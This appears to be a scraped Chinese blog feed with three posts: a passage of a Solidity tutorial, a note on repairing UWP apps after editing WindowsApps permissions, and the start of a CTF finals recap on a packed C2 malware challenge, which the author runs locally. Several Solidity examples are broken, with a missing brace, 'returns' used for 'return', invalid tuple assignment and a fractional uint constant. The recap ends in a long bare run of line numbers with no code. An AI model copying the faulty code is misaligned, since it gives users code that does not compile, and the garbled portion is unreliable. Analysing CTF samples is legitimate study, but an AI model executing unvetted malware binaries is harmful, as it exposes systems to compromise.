calldata _sound) public pure returns (string calldata) { return _sound; } } 当我们部署合约并调用时,传入 know-wow,它也会返回 know-wow(图示左下角) 变量与函数的可见性 在上面,我们都没有真正定义一个变量,接下来,我们先看这个合约(一个经典的计数器合约) pragma solidity >=0.8.0; contract Counter { uint public counter; constructor() { counter = 0; } function increase() public { counter += 1; } function decrease() public { counter -= 1; } function get() view public returns (uint) { return counter; } } 在这里,我们可以发现在合约 Counter 中,我们新建了一个 uint 类型的 public 变量 counter,并在 constructor() 函数中让 counter 的值设置为 0 uint public counter uint 表示这个变量 counter 为 uint256 类型 public 表示 counter 可以被公开访问 类似于 C,Solidity 还有其他的可见性修饰符(大部分都可以用在变量/函数上,特殊说明除外) 外部修饰符:external 不能用在变量上,只能用在函数上,声明为 external 的函数只能在外部进行调用,此时称这些函数为外部函数 当我们在一个合约的函数中添加了 external 修饰符,那么在这个合约中就不能对这个函数进行直接调用 我们在这里创建一个计算器 pragma solidity ^0.8.0; contract Calculator { uint Storage; constructor() { Storage = 0; } function add(uint _a, uint _b) public pure returns (uint) { return _a + _b; } function minus(uint _a, uint _b) public pure returns (uint) { return _a - _b; } function times(uint _a, uint _b) public pure returns (uint) { return _a * _b; } function initialize() external { Storage = 0; } function test_func() public { initialize(); // 这是错误的,因为 initialize 函数具有 external 修饰符,不能在合约内部进行调用 } } 在这里,我们给函数 initialize 添加了 external 修饰符,在 test_func 中,我们对 initialize 进行了调用,我们的编译器会告诉我们这里有问题 DeclarationError: Undeclared identifier. “initialize” is not (or not yet) visible at this point. 这里就是告诉我们 initialize 在合约内部是不可见的,如果我们实在要对 initialize 在合约内部进行调用,我们应该采用 this.initialize() pragma solidity ^0.8.0; contract Calculator { ... function test_func() public { this.initialize(); // 改成 this.initialize 就可以了 } } 采用 this.initialize() 后,会发起一个从外部调用到合约自身的一次调用,但是,这会消耗更多的 Gas(给的钱更多了) 公共修饰符:public 通过 public 修饰的变量或者函数,它们既可以在合约内部进行访问,也可以在合约外部进行方式(以接口形式,在其他合约或者链下都可以对其进行调用) 对于 public 修饰的变量,会自动创建一个同名的访问器(可以理解为 __getter__),用来获取这个变量的值 pragma solidity ^0.8.0; contract ContractA { uint256 public varA; constructor() { varA = 0; } function AddVarA() public { varA += 1; } } contract ContractMain { ContractA public instance; // 初始化一个 ContractA 合约 constructor(address _address) { instance = ContractA(_address); // 通过传入 ContractA 合约所在的地址来初始化实例 } function trigger() public returns (uint256) { instance.AddVarA(); // 调用实例的 AddVarA 函数,进行 varA 的自增 return instance.varA(); // 调用实例的 varA 函数(这是一个自动生成的访问器函数),得到 varA 的值 } } 通过 REMIX IDE 我们也能够体会到这一个过程,我们先对 ContractA 进行部署后,再对 ContractMain 进行部署 子合约/派生合约修饰符:internal 使用 internal 修饰的函数/变量只能在当前合约调用或者其派生合约/子合约中使用,首先先简单说明一下派生合约,以下面这段代码为例 pragma solidity ^0.8.0; contract AddCalculator { uint Storage; constructor() { Storage = 0; } function add(uint _a, uint _b) public pure returns (uint) { return _a + _b; } function save(uint _num) public { Storage = _num; } } contract AddAndMinusCalculator is AddCalculator { function minus(uint _a, uint _b) public pure returns (uint) { return _a - _b; } } 在这里,我们有一个 AddCalculator 的合约,它只有加法和一个存储功能,在 AddAndMinusCalculator 中,我们使用了关键词 is 来继承 AddCalculator 的属性和函数,并给它添加了减法,也就是说,只看 AddAndMinusCalculator 的情况下,它等同于 pragma solidity ^0.8.0; contract AddAndMinusCalculator { uint Storage; constructor() { Storage = 0; } function add(uint _a, uint _b) public pure returns (uint) { return _a + _b; } function save(uint _num) public { Storage = _num; function minus(uint _a, uint _b) public pure returns (uint) { return _a - _b; } } 你可以把这个看作是 Python 那样的类继承,上面这个与下面这段 Python 代码是类似的 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class AddCalculator: def __init__(self): self.Storage = 0 def add(self, a, b): return a + b def save(self, num): self.Storage = num class AddAndMinusCalculator(AddCalculator): def minus(self, a, b): return a - b if __name__ == "__main__": calculator = AddAndMinusCalculator() 我们对 AddAndMinusCalculator 进行合约部署,可以看到它确实也继承了 AddCalculator 的函数 现在回到我们的问题,标有 internal 的函数只能在其内部或者其派生合约内部进行调用 还是拿上面的计算器举例子 pragma solidity ^0.8.0; contract AddCalculator { uint Storage; constructor() { Storage = 0; } // 现在给 add 函数加入了 internal 修饰 function add(uint _a, uint _b) internal pure returns (uint) { return _a + _b; } function save(uint _num) public { Storage = _num; } // 内部函数可以调用内部函数 function calculateAndSave(uint _x, uint _y) public { uint result = add(_x, _y); // AddCalculator 内部调用 add save(result); } } contract AddAndMinusCalculator is AddCalculator { function minus(uint _a, uint _b) public pure returns (uint) { return _a - _b; } // 派生合约可以调用基合约的 internal 函数 function addAndThenMinus(uint _a, uint _b, uint _c) public pure returns (uint) { uint sum = add(_a, _b); // AddAndMinusCalculator 内部调用继承来的 add return minus(sum, _c); } // 派生合约也可以直接提供一个 public 函数来调用这个 internal 函数 function externalAdd(uint _a, uint _b) public pure returns (uint) { return add(_a, _b); // 通过 externalAdd 间接对外暴露 add 功能 } } contract OutsideCalculator { AddCalculator instance; AddAndMinusCalculator instance1; constructor(address _add_calculator_address, address _add_and_minus_calculator_address) { instance = AddCalculator(_add_calculator_address); } function add(uint _a, uint _b) public pure returns (uint) { return instance.add(_a, _b);// 这里是非法的,因为 instance.add 是一个 internal 函数,不能在外部合约被调用,这里会编译出错 // TypeError: Member "add" not found or not visible after argument-dependent lookup in contract AddCalculator. } function externalAdd(uint _a, uint _b) public pure returns (uint) { return instance1.externalAdd(_a, _b);// 这是合法的,因为 instance1.externalAdd 是一个使用 public 修饰的函数,将原来的 add 函数暴露在外了 } } 私有修饰符:private 在这四种修饰符中,private 是最为严格的,它只允许自己使用,并且不允许派生合约使用,再来看下面这个例子 pragma solidity ^0.8.0; contract AddCalculator { uint Storage; constructor() { Storage = 0; } function add(uint _a, uint _b) internal pure returns (uint) { return _a + _b; } // save 函数加入了 private 修饰符 function save(uint _num) private { Storage = _num; } // calculateAndSave 函数加入了 private 修饰符 function calculateAndSave(uint _x, uint _y) private { uint result = add(_x, _y); save(result); // private 修饰允许合约内部调用 } } contract AddAndMinusCalculator is AddCalculator { function minus(uint _a, uint _b) public pure returns (uint) { return _a - _b; } function addAndThenMinus(uint _a, uint _b, uint _c) public pure returns (uint) { uint sum = add(_a, _b); return minus(sum, _c); } // private 修饰不允许派生合约调用 function addAndSave(uint _a, uint _b) public { calculateAndSave(_a, _b); } } 在这里我们对 save 和 calculateAndSave 加入了 private 修饰符,于是在计算并保存的函数里我们对 save 进行调用是合法的,但是在下面那个派生合约里面对 calculateAndSave 调用就是不合法的,直接上手就是编译不通过 1 2 3 4 5 DeclarationError: Undeclared identifier. --> privateTest.sol:38:9: | 38 | calculateAndSave(_a, _b); | ^^^^^^^^^^^^^^^^ 定义变量与常量 Solidity 不像 Python 那样,它更类似于 C,是一门静态语言,所以对于变量,必须使用前定义,定义时声明类型,在上面的例子中,你或许见过了 uint/uint256 uint num = 0; 这里的 uint 与 uint256 是等价的,它是一个无符号的 256 位整数,这前面的 u 可以看作 unsigned 对于一个 N 位的无符号整数,它可以表示的最小值是 0,最大值是 2^N - 1。 类型位数 (N)存储大小 (字节)最小值最大值 (2^N - 1)备注 uint88102^8 - 1 (即 255) uint1616202^16 - 1 (即 65,535) uint2424302^24 - 1 (即 16,777,215) uint3232402^32 - 1 (即 4,294,967,295)C 的 int、Windows/Linux32 下 C 的 long uint4040502^40 - 1 uint4848602^48 - 1 uint5656702^56 - 1 uint6464802^64 - 1Linux64 下的 long uint7272902^72 - 1 uint80801002^80 - 1 uint88881102^88 - 1 uint96961202^96 - 1 uint1041041302^104 - 1 uint1121121402^112 - 1 uint1201201502^120 - 1 uint1281281602^128 - 1 uint1361361702^136 - 1 uint1441441802^144 - 1 uint1521521902^152 - 1 uint1601602002^160 - 1足够存储一个以太坊地址作为数字 (20 字节 = 160 位) uint1681682102^168 - 1 uint1761762202^176 - 1 uint1841842302^184 - 1 uint1921922402^192 - 1 uint2002002502^200 - 1 uint2082082602^208 - 1 uint2162162702^216 - 1 uint2242242802^224 - 1 uint2322322902^232 - 1 uint2402403002^240 - 1 uint2482483102^248 - 1 uint2562563202^256 - 1 (~1.1579 x 10^77)EVM 原生字大小,通常是最高效的类型。 uint2563202^256 - 1 (~1.1579 x 10^77)uint256 的别名。在不指定位数时默认使用。 这里 uint 后面的数字,其实就是 bit 数(计算机常识:1 Byte = 8 bit) 与 C 类似,定义一个变量的格式为 <type> <visibility> <name>,例如 uint public num 就是一个公开的 uint 类型的名为 num 的变量,需要注意的是,当没有对可见性添加指定,默认为 internal 合约中变量会在区块链中分配一个存储单元,这个变量是“变”的,也成为状态变量 当然了,有“变”量,就有“不可变”量,在 Solidity 中,“不可变”量有我们常说的 常量 和 不可变量(对它的名字就叫做 不可变量,这就是为啥前面我用引号把那三个字括起来) 常量 与 C 类似但稍有不同的是,我们使用 constant 关键词来声明一个变量为常量(常量不占用合约存储空间) constant 关键词只用于修饰 strings 和任意值类型(关于值类型,下面会说到) uint constant pi = 3.1415926; 在这里,我声明了一个名为 pi 的常量并把它的值设置为 3.1415926,常量一旦声明就不可以进行变更 并且需要注意的是:常量只能在定义的时候就进行赋值,并且等号右边的式子在编译时必须有一个确切的结果 下面我们看一个违反上面这句话的例子 uint _a = 5; // _a 是一个运行时变量 uint _b = 10; // _b 是一个运行时变量 uint constant sum = _a + _b; // 编译出错,因为在编译过程中,`_a + _b` 的结果不确定,常量在编译时赋值 这里可以看到,我们定义了变量 _a 和 _b,但是这两个变量是在运行代码的时候才进行赋值的,在编译过程中,它们的值仍然是未知的,所以在第四行中的 sum = _a + _b 会编译出错,因为右值不确定 不可变量 不可变量同样是一类不可改变的变量,只不过与常量不同的是,常量的赋值是在编译时赋值的,而不可变量是在运行时赋值的(不可变量不占用合约存储空间) 我们可以用关键词 immutable 来进行不可变量的声明,一般不可变量可以用来定义地址 下面的代码展示了通过不可变量存储佣金的数量和接受者的地址的过程 contract immutable_test { address immutable receiver;// 定义接受者地址 uint immutable commission;// 定义佣金 constructor(address _receiver, uint _commission) { // 运行时进行赋值,这里赋值的“时间”与常量是不同的 receiver = _receiver; commission = _commission; } } 定义函数 在上面的各种示例代码中,我们或多或少都定义了函数 pragma solidity ^0.8.0; contract Calculator { uint Storage; constructor() { Storage = 0; } function add(uint _a, uint _b) public pure returns (uint) { return _a + _b; } function save(uint _num) public { Storage = _num; function minus(uint _a, uint _b) public pure returns (uint) { return _a - _b; } } 与 Javascript 类似,我们使用关键词 function 开头来在合约里面定义一个函数,函数的定义中涉及到的各个关键词按照以下顺序排列 function 函数名(<参数类型> <参数名>) <可见性> <状态可变性> [returns(<返回类型>)] { } 函数传参 与 C/C++ 类似,在定义函数参数的时候,必须声明它的类型 function add(uint _a, uint _b) 在这里我们声明了名为 add 的函数,并且接受两个 uint 类型参数 _a 和 _b 函数返回值 在定义函数的时候,如果函数具有返回值,那么我们必须声明函数的返回值类型(当然了,如果没有返回值这部分是可以省略的) function add(uint _a, uint _b) pure returns(uint) { return _a + _b;// 定义了 uint 类型返回,在这里使用 return 来返回函数值 } 在这里,我们给 add 函数添加了返回值 uint 类型的声明,这样我们就可以在函数中使用 return 来返回值了 不过,我们也可以不使用 return 的显式返回,我们在 returns 的括号里面,可以指定变量,例如 function add(uint _a, uint _b) pure returns(uint result) { result = _a + _b; // 通过给 result 赋值来完成返回 } 这样通过指定变量 result 并给 result 赋值,也可以完成返回 在 Solidity 中,我们是可以返回多个返回值的(类似于 Python) 例如,在 Python 中,我们手动构造一个递增队列 1 2 def generate(start: int) -> tuple: return (start, start + 1, start + 2) 这样我们通过如下的方式调用的时候,可以得到一个元组,并且我们是可以通过解包的方式拆出来的 1 2 3 4 if __name__ == "__main__": a, b, c = generate(1) print(a, b, c) # 输出:1 2 3 而在 Solidity 中,我们可以在 returns 里面指定多个变量类型,来完成多个值的返回 function generate(uint _start) pure returns (uint, uint, uint) { // 在 returns 的括号中指定了三个 uint 类型返回 returns (_start, _start + 1, _start + 2); } 这样,我们在调用的时候就可以得到多个值,而调用的方法也很简单,与 Python 是非常类似的 uint a, uint b, uint c = generate(1); // a = 1, b = 2, c = 3 状态可变性 你或许发现了,在上面的函数中,我添加了一个关键词 pure,这个就涉及到了函数的状态可变性,状态可变性不是必须写的 视图函数:view 视图函数表示这个函数不修改合约中的变量,这个函数是不需要消耗 gas 的(因为不涉及对状态的改变,只是在单个节点上运行特定的不涉及状态改变的功能) contract database { uint count = 0; function add() public { // add 函数涉及到了合约内部变量的修改,所以是要消耗 gas 的 count = count + 1; } function get() public view returns(uint) { // get 函数只是在读取 count 的值并返回,这里没有修改合约内部的变量,是不需要消耗 gas 的 // 同时,这是一个视图函数,表示它会读取合约内部的变量状态 return count; } } 这里 view 关键词说明了它是个视图函数,它可以读取合约内部的变量的状态,但是不能修改合约内部变量的状态 需要注意的是,不仅是修改合约内部的变量状态被称为修改了状态,触发事件,发送代币等都会视为修改状态 纯函数:pure 纯函数说明它是纯的,它甚至不能够访问合约内部的变量状态,举个例子 contract database { uint count = 0; function get() public pure returns(uint) {// 这里把 view 修改成了 pure,是不合法的 return count;// 这里读取了合约内部的变量,但是函数是纯函数,所以读取是非法的 } } 这样就不行了,因为 pure 函数不能够读取合约内部的变量,在这个例子里面,count 是合约内部的一个变量,在 pure 函数里面对其进行读取是非法的 而我们上面总是用到的计算器例子 contract calculator { function add(uint _a, uint _b) public pure returns(uint) { return _a + _b;// 这里只对传入的值进行计算 } } 这个就是合法的,因为它并没有涉及到合约变量的读取,它做的只是对传入的数值进行计算后,把结果返回出去 你可以这样理解:纯函数就是一个计算器,它只能够对传入的值进行特定的计算 不可支付函数:nonpayable 当一个函数没有显式声明任何状态可变性修饰符(如 view、pure 或 payable)时,它的默认行为是 nonpayable。这种函数可以读取合约的状态变量,也可以修改合约的状态变量。它是最常见的函数类型,用于实现业务逻辑。 唯一需要注意的是:这种函数不能接收以太币。如果外部调用者尝试向一个 nonpayable 函数发送以太币(在交易中包含 value),交易会立即失败并回滚。 nonpayable 函数调用需要消耗 gas,并且不添加 nonpayable 关键词来进行修饰,只需要对状态可变性的位置置空就行了 下面我们用一个例子来看看这种函数 contract database { uint public data; constructor() { data = 0; } function update(uint _newData) public { data = _newData; // 在这里我们对合约内部变量进行了修改,这一步是需要消耗 gas 的 } // 即使函数没有实际修改状态,但是它是个 nonpayable 函数,外部调用也需要 Gas function greet() public returns (string memory) { return "Hello from database!"; } } 可以发现,我们没有添加任何状态可变性修饰符的时候,它的类型为 nonpayable,并且当我点击了函数触发按钮后,它弹出了支付请求 所以,当我们的函数满足 view 或者 pure 的情况时,或者说这两个可变性能够满足我们的需求时,还是好好地添加对应的可变性修饰符来减少开支吧! 可支付函数:payable 可支付函数与不可支付函数的唯一区别在于它是唯一一个可以接受以太币的函数类型,也就是说可以进行转账 当然了,转账自然就涉及到了状态的改变,所以这类函数是需要支付 gas 的 在这里,我们给出一个最简单的例子(由 Gemini 2.5 编写) // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title MySimpleEthTransfer * @dev 这是一个演示如何接收和发送以太币的简单合约。 */ contract MySimpleEthTransfer { // 状态变量:合约的部署者地址 address public owner; // 构造函数:合约部署时执行一次,设置部署者为所有者 constructor() { owner = msg.sender; } // 修饰符:限制函数只能由所有者调用 modifier onlyOwner() { require(msg.sender == owner, "Only owner can call this function."); _; // _ 是一个特殊符号,代表被修饰的函数体 } /** * @dev 允许任何人向本合约存入以太币。 * 这是一个 payable 函数,意味着它能接收以太币。 * 所有收到的以太币都会增加合约的余额。 */ function deposit() public payable { // 实际应用中,你可能想在这里记录存款人及其金额 // 例如:mapping(address => uint) public balances; // balances[msg.sender] += msg.value; // // 为了最简单的演示,我们让它仅仅接收以太币,不做额外逻辑 } /** * @dev 允许合约所有者向指定地址转账以太币。 * @param _recipient 要接收以太币的地址。 * @param _amount 要转账的以太币数量 (以 Wei 为单位)。 * 注意:此函数本身不需要是 payable,因为它是在发送以太币,而不是接收。 */ function sendEth(address payable _recipient, uint _amount) public onlyOwner { // 确保合约有足够的以太币来发送 require(address(this).balance >= _amount, "Insufficient contract balance to send."); // 使用 .transfer() 方法发送以太币。 // 这是推荐的发送以太币的方式之一,因为它会在失败时自动回滚, // 并且有固定的 2300 gas limit,可以防止重入攻击。 _recipient.transfer(_amount); } /** * @dev 返回当前合约持有的以太币余额。 * 这是一个 view 函数,因为它只读取状态,不修改状态,因此不消耗 Gas。 */ function getContractBalance() public view returns (uint) { // address(this) 代表当前合约的地址 // .balance 是 Solidity 内置的属性,用于获取地址的以太币余额 return address(this).balance; } } 在这个合约中,我们可以对目标用户进行转账,也可以存入 ETH,对于这部分的具体内容,会在后面展示 可变性总结 由此,我们可以得到下面四种可变性修饰符和它们对应函数的特性 修饰符可读状态变量可写状态变量可接收以太币外部调用Gas消耗 pure❌❌❌❌ (通常) view✅❌❌❌ (通常) 无修饰符 (non-payable)✅✅❌✅ payable✅✅✅✅ 数据类型

2025/5/27
articleCard.readMore

记一次因修改了 WindowsApps 文件夹权限导致的 UWP 应用无法通过运行打开的修复过程

导火索 前言 这件事还得从 Windows Terminal 讲起,在 Windows Terminal 的 1.22 版本中,出现了 Terminal 动不动就未响应的问题,我去翻了一下 Github Issue,发现以前就有这个问题,然后修复了,只是现在又出现了 frequently experience unresposive situation: https://github.com/microsoft/terminal/issues/18803#issuecomment-2822694262 然后在这个 Issue 下面,repo 的成员说可以安装 Canary 版本的 Terminal,或许能解决这个问题,于是我装了个 Canary 的 Terminal 那么现在问题来了,我要怎么把 wt 改成使用 Windows Terminal Canary 打开呢…… 我想的是 Windows 的命令是通过 PATH 实现的,所以我把 Windows Terminal 的 PATH 改到 Windows Terminal Canary 上,不就解决了吗? 如果问题真那么简单,也就不会出现这篇文章了 我先来说说我是怎么做的,然后再来讲正确的改绑方式 修改 WindowsApps 权限导致 UWP 应用无法启动 我首先打开了 C:\Program Files,Windows 的 UWP 应用是安装在这个目录的 WindowsApps 文件夹的,因为之前用 Win10 的时候修改过这个目录,并且也没有造成什么问题,所以这次我也是轻车熟路更改了它的权限,然后找到了 Windows Terminal Canary 的安装目录,然后从 Powertoys 打开环境变量,准备进行修改,结果我发现 PATH 里面根本就没有 Windows Terminal 的路径配置 那没办法,我只好另寻他路,结果发现,我使用 wt 命令打开 UWP 应用已经没有响应了(表现为输入了且确定了,但是没有新的进程打开) 修复 我首先经过搜索得知,在 WindowsApps 文件夹上是有 TrustedInstaller 作为 Owner 的,因为更改了这个文件夹的权限,导致 UWP 应用的运行权限不正确而无法启动,所以我需要把权限还回去 还权限 当然了,因为 Windows 的权限管理是依托答辩,所以 Github 上早就有人弄好了方案 WindowsAppsUnfukker: https://github.com/AgentRev/WindowsAppsUnfukker 通过 WindowsAppsUnfukker,我成功把权限给回了 TrustedInstaller,但是我还是打开不了,于是我又尝试修复 Windows 覆盖安装系统 Windows 11 是有一个重新安装按钮的,可以直接点它完成覆盖安装,这个过程不会清理任何的数据,就是时间嘛……长了不是一点半点 重置应用 重转完毕后,我还是没法打开,我灵机一动尝试了一下,既然 C:\Program Files\WindowsApps 的权限是被我改过的,那我要是放在 D:\Program Files\WindowsApps 呢?没想到还真让我碰上了,改了以后是可以正常打开的 于是我又想,重置一下应用呢?于是我重置了一下记事本应用,然后用 Ctrl + R 输入 notepad,成功打开了 然后我把其他应用也尝试重置,结果都可以了 正确的改绑方式 在设置里面,搜索 应用执行别名,把需要的那个打开就好了,剩下的同一个别名的会自动禁用 总结 首先没事别乱改 Windows 的权限,这真的真的真的很麻烦!!! 当然了,这次也让我找到了正确的改绑方式,而不是使用环境变量来进行操作 也希望这篇文章能帮助你解决你因为修改了 WindowsApps 文件夹造成的无法打开软件的问题,此外,覆盖安装那一步大概率是不用的(?

2025/5/27
articleCard.readMore

第十八届软件系统安全赛 CCSSSC 2025 全国总决赛复盘(旅行日记)

我们 CTF 玩家就是拿着台电脑过去一开坐一天就结束了 —— Ron#1337 没错,在 5.17-5.18,我们 Volcania 参加了第十八届软件系统安全赛攻防赛全国总决赛 这次说是总决赛,但其实队我们队伍来说应该是公费旅游环节,我们在这场总决赛中确确实实爆零了(┬_┬) 比赛 不是哥们?湖南大学还能停电的啊???开赛前半个小时停电了,连电灯都没了,大概率是过载了…… 后来给了我们附件压缩包,说密码一起给,结果到电恢复了都没给 =-= 本次比赛总共有十道题目,并且出现了很明显的领域交叉情况(就是说 re 带 misc 之类的这种情况),而且涉及到的知识点也非常地广 Seijaku seijaku提示:1、/openapi.json Seijaku提示:2、大概就是用给定的固定密钥 + 当前 Unix 秒级时间戳进行 CRC64,把这个值发送给 C2 服务器,然后和固定密钥进行循环异或作为本次 RC4 加密密钥。 Seijaku提示:3、user:user 最开始拿到附件,给了一个流量包,从流量包可以提取到一个附件,并且通过链接可以得到以下信息 此文件是一个二进制文件(/binary) 此文件的反向连接地址为 seijaku.local 此文件经过 upx 压缩 拿下来以后第一件事情是 UPX 解压 题目里面还提供了一个 project.tar.gz,解压一下发现是一个 python 的 venv 环境,可以激活一下 1 $ source .venv/bin/activate 接着尝试运行一次二进制文件 1 2 $ chmod +x bin $ ./bin > output.log 2>&1 运行时之后会执行类似扫描的操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 